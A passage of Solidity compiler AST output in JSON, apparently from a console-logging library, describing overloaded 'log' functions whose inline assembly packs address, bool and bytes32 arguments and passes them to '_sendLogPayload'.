:"86982:16:22","nodeType":"YulExpressionStatement","src":"86982:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36460,"isOffset":false,"isSlot":false,"src":"86821:2:22","valueSize":1},{"declaration":36463,"isOffset":false,"isSlot":false,"src":"86850:2:22","valueSize":1},{"declaration":36466,"isOffset":false,"isSlot":false,"src":"86879:2:22","valueSize":1},{"declaration":36469,"isOffset":false,"isSlot":false,"src":"86908:2:22","valueSize":1},{"declaration":36472,"isOffset":false,"isSlot":false,"src":"86937:2:22","valueSize":1},{"declaration":36475,"isOffset":false,"isSlot":false,"src":"86966:2:22","valueSize":1},{"declaration":36478,"isOffset":false,"isSlot":false,"src":"86995:2:22","valueSize":1}],"id":36486,"nodeType":"InlineAssembly","src":"86785:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"85683:3:22","parameters":{"id":36457,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36450,"mutability":"mutable","name":"p0","nameLocation":"85695:2:22","nodeType":"VariableDeclaration","scope":36488,"src":"85687:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36449,"name":"address","nodeType":"ElementaryTypeName","src":"85687:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36452,"mutability":"mutable","name":"p1","nameLocation":"85707:2:22","nodeType":"VariableDeclaration","scope":36488,"src":"85699:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36451,"name":"address","nodeType":"ElementaryTypeName","src":"85699:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36454,"mutability":"mutable","name":"p2","nameLocation":"85719:2:22","nodeType":"VariableDeclaration","scope":36488,"src":"85711:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36453,"name":"address","nodeType":"ElementaryTypeName","src":"85711:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36456,"mutability":"mutable","name":"p3","nameLocation":"85731:2:22","nodeType":"VariableDeclaration","scope":36488,"src":"85723:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36455,"name":"bytes32","nodeType":"ElementaryTypeName","src":"85723:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"85686:48:22"},"returnParameters":{"id":36458,"nodeType":"ParameterList","parameters":[],"src":"85749:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36522,"nodeType":"FunctionDefinition","src":"87020:786:22","nodes":[],"body":{"id":36521,"nodeType":"Block","src":"87092:714:22","nodes":[],"statements":[{"assignments":[36500],"declarations":[{"constant":false,"id":36500,"mutability":"mutable","name":"m0","nameLocation":"87110:2:22","nodeType":"VariableDeclaration","scope":36521,"src":"87102:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36499,"name":"bytes32","nodeType":"ElementaryTypeName","src":"87102:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36501,"nodeType":"VariableDeclarationStatement","src":"87102:10:22"},{"assignments":[36503],"declarations":[{"constant":false,"id":36503,"mutability":"mutable","name":"m1","nameLocation":"87130:2:22","nodeType":"VariableDeclaration","scope":36521,"src":"87122:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36502,"name":"bytes32","nodeType":"ElementaryTypeName","src":"87122:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36504,"nodeType":"VariableDeclarationStatement","src":"87122:10:22"},{"assignments":[36506],"declarations":[{"constant":false,"id":36506,"mutability":"mutable","name":"m2","nameLocation":"87150:2:22","nodeType":"VariableDeclaration","scope":36521,"src":"87142:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36505,"name":"bytes32","nodeType":"ElementaryTypeName","src":"87142:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36507,"nodeType":"VariableDeclarationStatement","src":"87142:10:22"},{"assignments":[36509],"declarations":[{"constant":false,"id":36509,"mutability":"mutable","name":"m3","nameLocation":"87170:2:22","nodeType":"VariableDeclaration","scope":36521,"src":"87162:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36508,"name":"bytes32","nodeType":"ElementaryTypeName","src":"87162:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36510,"nodeType":"VariableDeclarationStatement","src":"87162:10:22"},{"assignments":[36512],"declarations":[{"constant":false,"id":36512,"mutability":"mutable","name":"m4","nameLocation":"87190:2:22","nodeType":"VariableDeclaration","scope":36521,"src":"87182:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36511,"name":"bytes32","nodeType":"ElementaryTypeName","src":"87182:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36513,"nodeType":"VariableDeclarationStatement","src":"87182:10:22"},{"AST":{"nativeSrc":"87211:378:22","nodeType":"YulBlock","src":"87211:378:22","statements":[{"nativeSrc":"87225:17:22","nodeType":"YulAssignment","src":"87225:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"87237:4:22","nodeType":"YulLiteral","src":"87237:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"87231:5:22","nodeType":"YulIdentifier","src":"87231:5:22"},"nativeSrc":"87231:11:22","nodeType":"YulFunctionCall","src":"87231:11:22"},"variableNames":[{"name":"m0","nativeSrc":"87225:2:22","nodeType":"YulIdentifier","src":"87225:2:22"}]},{"nativeSrc":"87255:17:22","nodeType":"YulAssignment","src":"87255:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"87267:4:22","nodeType":"YulLiteral","src":"87267:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"87261:5:22","nodeType":"YulIdentifier","src":"87261:5:22"},"nativeSrc":"87261:11:22","nodeType":"YulFunctionCall","src":"87261:11:22"},"variableNames":[{"name":"m1","nativeSrc":"87255:2:22","nodeType":"YulIdentifier","src":"87255:2:22"}]},{"nativeSrc":"87285:17:22","nodeType":"YulAssignment","src":"87285:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"87297:4:22","nodeType":"YulLiteral","src":"87297:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"87291:5:22","nodeType":"YulIdentifier","src":"87291:5:22"},"nativeSrc":"87291:11:22","nodeType":"YulFunctionCall","src":"87291:11:22"},"variableNames":[{"name":"m2","nativeSrc":"87285:2:22","nodeType":"YulIdentifier","src":"87285:2:22"}]},{"nativeSrc":"87315:17:22","nodeType":"YulAssignment","src":"87315:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"87327:4:22","nodeType":"YulLiteral","src":"87327:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"87321:5:22","nodeType":"YulIdentifier","src":"87321:5:22"},"nativeSrc":"87321:11:22","nodeType":"YulFunctionCall","src":"87321:11:22"},"variableNames":[{"name":"m3","nativeSrc":"87315:2:22","nodeType":"YulIdentifier","src":"87315:2:22"}]},{"nativeSrc":"87345:17:22","nodeType":"YulAssignment","src":"87345:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"87357:4:22","nodeType":"YulLiteral","src":"87357:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"87351:5:22","nodeType":"YulIdentifier","src":"87351:5:22"},"nativeSrc":"87351:11:22","nodeType":"YulFunctionCall","src":"87351:11:22"},"variableNames":[{"name":"m4","nativeSrc":"87345:2:22","nodeType":"YulIdentifier","src":"87345:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"87446:4:22","nodeType":"YulLiteral","src":"87446:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"87452:10:22","nodeType":"YulLiteral","src":"87452:10:22","type":"","value":"0x9f1bc36e"}],"functionName":{"name":"mstore","nativeSrc":"87439:6:22","nodeType":"YulIdentifier","src":"87439:6:22"},"nativeSrc":"87439:24:22","nodeType":"YulFunctionCall","src":"87439:24:22"},"nativeSrc":"87439:24:22","nodeType":"YulExpressionStatement","src":"87439:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"87483:4:22","nodeType":"YulLiteral","src":"87483:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"87489:2:22","nodeType":"YulIdentifier","src":"87489:2:22"}],"functionName":{"name":"mstore","nativeSrc":"87476:6:22","nodeType":"YulIdentifier","src":"87476:6:22"},"nativeSrc":"87476:16:22","nodeType":"YulFunctionCall","src":"87476:16:22"},"nativeSrc":"87476:16:22","nodeType":"YulExpressionStatement","src":"87476:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"87512:4:22","nodeType":"YulLiteral","src":"87512:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"87518:2:22","nodeType":"YulIdentifier","src":"87518:2:22"}],"functionName":{"name":"mstore","nativeSrc":"87505:6:22","nodeType":"YulIdentifier","src":"87505:6:22"},"nativeSrc":"87505:16:22","nodeType":"YulFunctionCall","src":"87505:16:22"},"nativeSrc":"87505:16:22","nodeType":"YulExpressionStatement","src":"87505:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"87541:4:22","nodeType":"YulLiteral","src":"87541:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"87547:2:22","nodeType":"YulIdentifier","src":"87547:2:22"}],"functionName":{"name":"mstore","nativeSrc":"87534:6:22","nodeType":"YulIdentifier","src":"87534:6:22"},"nativeSrc":"87534:16:22","nodeType":"YulFunctionCall","src":"87534:16:22"},"nativeSrc":"87534:16:22","nodeType":"YulExpressionStatement","src":"87534:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"87570:4:22","nodeType":"YulLiteral","src":"87570:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"87576:2:22","nodeType":"YulIdentifier","src":"87576:2:22"}],"functionName":{"name":"mstore","nativeSrc":"87563:6:22","nodeType":"YulIdentifier","src":"87563:6:22"},"nativeSrc":"87563:16:22","nodeType":"YulFunctionCall","src":"87563:16:22"},"nativeSrc":"87563:16:22","nodeType":"YulExpressionStatement","src":"87563:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36500,"isOffset":false,"isSlot":false,"src":"87225:2:22","valueSize":1},{"declaration":36503,"isOffset":false,"isSlot":false,"src":"87255:2:22","valueSize":1},{"declaration":36506,"isOffset":false,"isSlot":false,"src":"87285:2:22","valueSize":1},{"declaration":36509,"isOffset":false,"isSlot":false,"src":"87315:2:22","valueSize":1},{"declaration":36512,"isOffset":false,"isSlot":false,"src":"87345:2:22","valueSize":1},{"declaration":36490,"isOffset":false,"isSlot":false,"src":"87489:2:22","valueSize":1},{"declaration":36492,"isOffset":false,"isSlot":false,"src":"87518:2:22","valueSize":1},{"declaration":36494,"isOffset":false,"isSlot":false,"src":"87547:2:22","valueSize":1},{"declaration":36496,"isOffset":false,"isSlot":false,"src":"87576:2:22","valueSize":1}],"id":36514,"nodeType":"InlineAssembly","src":"87202:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36516,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"87614:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":36517,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"87620:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":36515,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"87598:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36518,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"87598:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36519,"nodeType":"ExpressionStatement","src":"87598:27:22"},{"AST":{"nativeSrc":"87644:156:22","nodeType":"YulBlock","src":"87644:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"87665:4:22","nodeType":"YulLiteral","src":"87665:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"87671:2:22","nodeType":"YulIdentifier","src":"87671:2:22"}],"functionName":{"name":"mstore","nativeSrc":"87658:6:22","nodeType":"YulIdentifier","src":"87658:6:22"},"nativeSrc":"87658:16:22","nodeType":"YulFunctionCall","src":"87658:16:22"},"nativeSrc":"87658:16:22","nodeType":"YulExpressionStatement","src":"87658:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"87694:4:22","nodeType":"YulLiteral","src":"87694:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"87700:2:22","nodeType":"YulIdentifier","src":"87700:2:22"}],"functionName":{"name":"mstore","nativeSrc":"87687:6:22","nodeType":"YulIdentifier","src":"87687:6:22"},"nativeSrc":"87687:16:22","nodeType":"YulFunctionCall","src":"87687:16:22"},"nativeSrc":"87687:16:22","nodeType":"YulExpressionStatement","src":"87687:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"87723:4:22","nodeType":"YulLiteral","src":"87723:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"87729:2:22","nodeType":"YulIdentifier","src":"87729:2:22"}],"functionName":{"name":"mstore","nativeSrc":"87716:6:22","nodeType":"YulIdentifier","src":"87716:6:22"},"nativeSrc":"87716:16:22","nodeType":"YulFunctionCall","src":"87716:16:22"},"nativeSrc":"87716:16:22","nodeType":"YulExpressionStatement","src":"87716:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"87752:4:22","nodeType":"YulLiteral","src":"87752:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"87758:2:22","nodeType":"YulIdentifier","src":"87758:2:22"}],"functionName":{"name":"mstore","nativeSrc":"87745:6:22","nodeType":"YulIdentifier","src":"87745:6:22"},"nativeSrc":"87745:16:22","nodeType":"YulFunctionCall","src":"87745:16:22"},"nativeSrc":"87745:16:22","nodeType":"YulExpressionStatement","src":"87745:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"87781:4:22","nodeType":"YulLiteral","src":"87781:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"87787:2:22","nodeType":"YulIdentifier","src":"87787:2:22"}],"functionName":{"name":"mstore","nativeSrc":"87774:6:22","nodeType":"YulIdentifier","src":"87774:6:22"},"nativeSrc":"87774:16:22","nodeType":"YulFunctionCall","src":"87774:16:22"},"nativeSrc":"87774:16:22","nodeType":"YulExpressionStatement","src":"87774:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36500,"isOffset":false,"isSlot":false,"src":"87671:2:22","valueSize":1},{"declaration":36503,"isOffset":false,"isSlot":false,"src":"87700:2:22","valueSize":1},{"declaration":36506,"isOffset":false,"isSlot":false,"src":"87729:2:22","valueSize":1},{"declaration":36509,"isOffset":false,"isSlot":false,"src":"87758:2:22","valueSize":1},{"declaration":36512,"isOffset":false,"isSlot":false,"src":"87787:2:22","valueSize":1}],"id":36520,"nodeType":"InlineAssembly","src":"87635:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"87029:3:22","parameters":{"id":36497,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36490,"mutability":"mutable","name":"p0","nameLocation":"87041:2:22","nodeType":"VariableDeclaration","scope":36522,"src":"87033:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36489,"name":"address","nodeType":"ElementaryTypeName","src":"87033:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36492,"mutability":"mutable","name":"p1","nameLocation":"87053:2:22","nodeType":"VariableDeclaration","scope":36522,"src":"87045:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36491,"name":"address","nodeType":"ElementaryTypeName","src":"87045:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36494,"mutability":"mutable","name":"p2","nameLocation":"87062:2:22","nodeType":"VariableDeclaration","scope":36522,"src":"87057:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":36493,"name":"bool","nodeType":"ElementaryTypeName","src":"87057:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":36496,"mutability":"mutable","name":"p3","nameLocation":"87074:2:22","nodeType":"VariableDeclaration","scope":36522,"src":"87066:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36495,"name":"address","nodeType":"ElementaryTypeName","src":"87066:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"87032:45:22"},"returnParameters":{"id":36498,"nodeType":"ParameterList","parameters":[],"src":"87092:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36556,"nodeType":"FunctionDefinition","src":"87812:780:22","nodes":[],"body":{"id":36555,"nodeType":"Block","src":"87881:711:22","nodes":[],"statements":[{"assignments":[36534],"declarations":[{"constant":false,"id":36534,"mutability":"mutable","name":"m0","nameLocation":"87899:2:22","nodeType":"VariableDeclaration","scope":36555,"src":"87891:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36533,"name":"bytes32","nodeType":"ElementaryTypeName","src":"87891:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36535,"nodeType":"VariableDeclarationStatement","src":"87891:10:22"},{"assignments":[36537],"declarations":[{"constant":false,"id":36537,"mutability":"mutable","name":"m1","nameLocation":"87919:2:22","nodeType":"VariableDeclaration","scope":36555,"src":"87911:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36536,"name":"bytes32","nodeType":"ElementaryTypeName","src":"87911:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36538,"nodeType":"VariableDeclarationStatement","src":"87911:10:22"},{"assignments":[36540],"declarations":[{"constant":false,"id":36540,"mutability":"mutable","name":"m2","nameLocation":"87939:2:22","nodeType":"VariableDeclaration","scope":36555,"src":"87931:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36539,"name":"bytes32","nodeType":"ElementaryTypeName","src":"87931:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36541,"nodeType":"VariableDeclarationStatement","src":"87931:10:22"},{"assignments":[36543],"declarations":[{"constant":false,"id":36543,"mutability":"mutable","name":"m3","nameLocation":"87959:2:22","nodeType":"VariableDeclaration","scope":36555,"src":"87951:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36542,"name":"bytes32","nodeType":"ElementaryTypeName","src":"87951:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36544,"nodeType":"VariableDeclarationStatement","src":"87951:10:22"},{"assignments":[36546],"declarations":[{"constant":false,"id":36546,"mutability":"mutable","name":"m4","nameLocation":"87979:2:22","nodeType":"VariableDeclaration","scope":36555,"src":"87971:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36545,"name":"bytes32","nodeType":"ElementaryTypeName","src":"87971:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36547,"nodeType":"VariableDeclarationStatement","src":"87971:10:22"},{"AST":{"nativeSrc":"88000:375:22","nodeType":"YulBlock","src":"88000:375:22","statements":[{"nativeSrc":"88014:17:22","nodeType":"YulAssignment","src":"88014:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"88026:4:22","nodeType":"YulLiteral","src":"88026:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"88020:5:22","nodeType":"YulIdentifier","src":"88020:5:22"},"nativeSrc":"88020:11:22","nodeType":"YulFunctionCall","src":"88020:11:22"},"variableNames":[{"name":"m0","nativeSrc":"88014:2:22","nodeType":"YulIdentifier","src":"88014:2:22"}]},{"nativeSrc":"88044:17:22","nodeType":"YulAssignment","src":"88044:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"88056:4:22","nodeType":"YulLiteral","src":"88056:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"88050:5:22","nodeType":"YulIdentifier","src":"88050:5:22"},"nativeSrc":"88050:11:22","nodeType":"YulFunctionCall","src":"88050:11:22"},"variableNames":[{"name":"m1","nativeSrc":"88044:2:22","nodeType":"YulIdentifier","src":"88044:2:22"}]},{"nativeSrc":"88074:17:22","nodeType":"YulAssignment","src":"88074:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"88086:4:22","nodeType":"YulLiteral","src":"88086:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"88080:5:22","nodeType":"YulIdentifier","src":"88080:5:22"},"nativeSrc":"88080:11:22","nodeType":"YulFunctionCall","src":"88080:11:22"},"variableNames":[{"name":"m2","nativeSrc":"88074:2:22","nodeType":"YulIdentifier","src":"88074:2:22"}]},{"nativeSrc":"88104:17:22","nodeType":"YulAssignment","src":"88104:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"88116:4:22","nodeType":"YulLiteral","src":"88116:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"88110:5:22","nodeType":"YulIdentifier","src":"88110:5:22"},"nativeSrc":"88110:11:22","nodeType":"YulFunctionCall","src":"88110:11:22"},"variableNames":[{"name":"m3","nativeSrc":"88104:2:22","nodeType":"YulIdentifier","src":"88104:2:22"}]},{"nativeSrc":"88134:17:22","nodeType":"YulAssignment","src":"88134:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"88146:4:22","nodeType":"YulLiteral","src":"88146:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"88140:5:22","nodeType":"YulIdentifier","src":"88140:5:22"},"nativeSrc":"88140:11:22","nodeType":"YulFunctionCall","src":"88140:11:22"},"variableNames":[{"name":"m4","nativeSrc":"88134:2:22","nodeType":"YulIdentifier","src":"88134:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"88232:4:22","nodeType":"YulLiteral","src":"88232:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"88238:10:22","nodeType":"YulLiteral","src":"88238:10:22","type":"","value":"0x2cd4134a"}],"functionName":{"name":"mstore","nativeSrc":"88225:6:22","nodeType":"YulIdentifier","src":"88225:6:22"},"nativeSrc":"88225:24:22","nodeType":"YulFunctionCall","src":"88225:24:22"},"nativeSrc":"88225:24:22","nodeType":"YulExpressionStatement","src":"88225:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"88269:4:22","nodeType":"YulLiteral","src":"88269:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"88275:2:22","nodeType":"YulIdentifier","src":"88275:2:22"}],"functionName":{"name":"mstore","nativeSrc":"88262:6:22","nodeType":"YulIdentifier","src":"88262:6:22"},"nativeSrc":"88262:16:22","nodeType":"YulFunctionCall","src":"88262:16:22"},"nativeSrc":"88262:16:22","nodeType":"YulExpressionStatement","src":"88262:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"88298:4:22","nodeType":"YulLiteral","src":"88298:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"88304:2:22","nodeType":"YulIdentifier","src":"88304:2:22"}],"functionName":{"name":"mstore","nativeSrc":"88291:6:22","nodeType":"YulIdentifier","src":"88291:6:22"},"nativeSrc":"88291:16:22","nodeType":"YulFunctionCall","src":"88291:16:22"},"nativeSrc":"88291:16:22","nodeType":"YulExpressionStatement","src":"88291:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"88327:4:22","nodeType":"YulLiteral","src":"88327:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"88333:2:22","nodeType":"YulIdentifier","src":"88333:2:22"}],"functionName":{"name":"mstore","nativeSrc":"88320:6:22","nodeType":"YulIdentifier","src":"88320:6:22"},"nativeSrc":"88320:16:22","nodeType":"YulFunctionCall","src":"88320:16:22"},"nativeSrc":"88320:16:22","nodeType":"YulExpressionStatement","src":"88320:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"88356:4:22","nodeType":"YulLiteral","src":"88356:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"88362:2:22","nodeType":"YulIdentifier","src":"88362:2:22"}],"functionName":{"name":"mstore","nativeSrc":"88349:6:22","nodeType":"YulIdentifier","src":"88349:6:22"},"nativeSrc":"88349:16:22","nodeType":"YulFunctionCall","src":"88349:16:22"},"nativeSrc":"88349:16:22","nodeType":"YulExpressionStatement","src":"88349:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36534,"isOffset":false,"isSlot":false,"src":"88014:2:22","valueSize":1},{"declaration":36537,"isOffset":false,"isSlot":false,"src":"88044:2:22","valueSize":1},{"declaration":36540,"isOffset":false,"isSlot":false,"src":"88074:2:22","valueSize":1},{"declaration":36543,"isOffset":false,"isSlot":false,"src":"88104:2:22","valueSize":1},{"declaration":36546,"isOffset":false,"isSlot":false,"src":"88134:2:22","valueSize":1},{"declaration":36524,"isOffset":false,"isSlot":false,"src":"88275:2:22","valueSize":1},{"declaration":36526,"isOffset":false,"isSlot":false,"src":"88304:2:22","valueSize":1},{"declaration":36528,"isOffset":false,"isSlot":false,"src":"88333:2:22","valueSize":1},{"declaration":36530,"isOffset":false,"isSlot":false,"src":"88362:2:22","valueSize":1}],"id":36548,"nodeType":"InlineAssembly","src":"87991:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36550,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"88400:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":36551,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"88406:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":36549,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"88384:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36552,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"88384:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36553,"nodeType":"ExpressionStatement","src":"88384:27:22"},{"AST":{"nativeSrc":"88430:156:22","nodeType":"YulBlock","src":"88430:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"88451:4:22","nodeType":"YulLiteral","src":"88451:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"88457:2:22","nodeType":"YulIdentifier","src":"88457:2:22"}],"functionName":{"name":"mstore","nativeSrc":"88444:6:22","nodeType":"YulIdentifier","src":"88444:6:22"},"nativeSrc":"88444:16:22","nodeType":"YulFunctionCall","src":"88444:16:22"},"nativeSrc":"88444:16:22","nodeType":"YulExpressionStatement","src":"88444:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"88480:4:22","nodeType":"YulLiteral","src":"88480:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"88486:2:22","nodeType":"YulIdentifier","src":"88486:2:22"}],"functionName":{"name":"mstore","nativeSrc":"8847